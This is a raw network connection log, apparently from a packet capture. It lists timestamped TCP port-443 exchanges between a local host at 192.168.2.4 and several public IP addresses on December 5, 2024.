Dec 5, 2024 22:16:27.319294930 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.319294930 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.319308043 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.319344044 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.327280045 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.328548908 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.328603029 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.328646898 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.328655958 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.328675985 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.328715086 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.328715086 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.328725100 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.328771114 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.328777075 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.335359097 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.335433960 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.335441113 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.336971045 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.337028027 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.337037086 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.343225002 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.343275070 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.343281984 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.345309019 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.345366001 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.345374107 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.351275921 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.351342916 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.351350069 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.352576971 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.353065968 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.353106976 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.353117943 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.353126049 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.353162050 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.353243113 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.359395027 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.359446049 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.359453917 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.361612082 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.361664057 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.361670017 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.367343903 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.367400885 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.367408991 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.369976044 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.370026112 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.370033026 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.375432968 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.375499964 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.375507116 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.386683941 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.386750937 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.386758089 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.387703896 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.387758017 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.387767076 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.393493891 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.393974066 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.394030094 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.394038916 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.394160032 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.394201994 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.394207001 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.394247055 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.394289970 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.394884109 CET	49761	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.394896030 CET	443	49761	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.441608906 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.448514938 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.472690105 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.502382040 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.502398014 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.516669989 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.516680002 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.526062012 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.526141882 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.526148081 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.533946037 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.533997059 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.534003019 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.538602114 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.538634062 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.538702965 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.538916111 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:27.538928986 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:27.541747093 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.541793108 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.541804075 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.544918060 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.544971943 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.544977903 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.549794912 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.549846888 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.549854040 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.550786018 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.550837040 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.550843000 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.555701971 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:27.555743933 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:27.555821896 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:27.555988073 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:27.556003094 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:27.557488918 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.557535887 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.557542086 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.558077097 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.558124065 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.558130980 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.565387964 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.565458059 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.565464973 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.574584961 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.574609041 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.574615002 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.574645996 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.574656010 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.574682951 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.574688911 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.574700117 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.581018925 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.588622093 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.588689089 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.588696957 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.588726044 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.588773966 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.588778973 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.596007109 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.596039057 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.596048117 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.596055031 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.596102953 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.596479893 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.596520901 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.596527100 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.602777004 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.604377031 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.604444027 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.604450941 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.609899044 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.609973907 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.609982967 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.612153053 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.612211943 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.612217903 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.616980076 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.617013931 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.617048979 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.617058039 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.617099047 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.617105961 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.617153883 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.617197037 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.618356943 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.618421078 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.618427038 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.629906893 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.630001068 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.630011082 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.635462046 CET	49762	443	192.168.2.4	104.17.24.14
Dec 5, 2024 22:16:27.635483980 CET	443	49762	104.17.24.14	192.168.2.4
Dec 5, 2024 22:16:27.675640106 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.675656080 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.727098942 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.736851931 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.739778996 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.739837885 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.739847898 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.744255066 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.744307041 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.744313002 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.748706102 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.748765945 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.748771906 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.753523111 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.753583908 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.753592014 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.757038116 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.757097960 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.757105112 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785214901 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785224915 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785264015 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785278082 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785285950 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785296917 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.785315990 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785342932 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.785346031 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.785362959 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.801109076 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.801119089 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.801151991 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.801192045 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.801203966 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:27.801239014 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.801261902 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.927886009 CET	49763	443	192.168.2.4	151.101.194.137
Dec 5, 2024 22:16:27.927912951 CET	443	49763	151.101.194.137	192.168.2.4
Dec 5, 2024 22:16:28.753047943 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:28.753298998 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:28.753319025 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:28.754364967 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:28.754422903 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:28.754856110 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:28.754918098 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:28.755012035 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:28.755018950 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:28.765638113 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:28.765839100 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:28.765860081 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:28.766730070 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:28.766788006 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:28.767206907 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:28.767265081 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:28.767390966 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:28.767399073 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:28.802171946 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:28.818109989 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.196878910 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.197065115 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.197113037 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.197125912 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.197233915 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.197282076 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.197287083 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.197294950 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.197345018 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.208446026 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.214390993 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.214445114 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.214457035 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.215425014 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.215511084 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.215542078 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.215565920 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.215586901 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.215626001 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.223839045 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.232274055 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.232322931 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.232331991 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.241209984 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.241269112 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.241278887 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.245265961 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.245289087 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.245367050 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.245579004 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.245595932 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.249138117 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.249187946 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.249196053 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.264316082 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.264323950 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.294977903 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.310466051 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.317404032 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.335305929 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.363097906 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.363104105 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.380038977 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.393084049 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.393162012 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.393167973 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.399426937 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.399482012 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.399487972 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.407551050 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.407756090 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.407824039 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.407830000 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.412719965 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.412796021 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.412806034 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.415636063 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.415683985 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.415690899 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.420552969 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.420600891 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.420608997 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.423882008 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.423935890 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.423943043 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.428323030 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.428374052 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.428386927 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.431670904 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.432555914 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.432565928 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.435827971 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.435877085 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.435887098 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.435934067 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.435992002 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.436074018 CET	49765	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.436089993 CET	443	49765	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.439959049 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.439981937 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.440057039 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.440268993 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:29.440279007 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:29.447654963 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.447707891 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.447715998 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.455815077 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.456005096 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.456065893 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.456073999 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.456549883 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.462131977 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.468640089 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.468691111 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.468698025 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.475392103 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.475461006 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.475467920 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.481653929 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.481703043 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.481709003 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.481746912 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:29.481791973 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.481982946 CET	49764	443	192.168.2.4	104.18.94.41
Dec 5, 2024 22:16:29.481992006 CET	443	49764	104.18.94.41	192.168.2.4
Dec 5, 2024 22:16:30.474693060 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.474996090 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.475012064 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.475368023 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.475677967 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.475743055 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.475831032 CET	49766	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.519334078 CET	443	49766	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.661434889 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.661752939 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.661778927 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.662110090 CET	443	49767	104.18.95.41	192.168.2.4
Dec 5, 2024 22:16:30.662524939 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.662561893 CET	49767	443	192.168.2.4	104.18.95.41
Dec 5, 2024 22:16:30.662566900 CET	443	49767	104.18.95.41	192.168.2.4
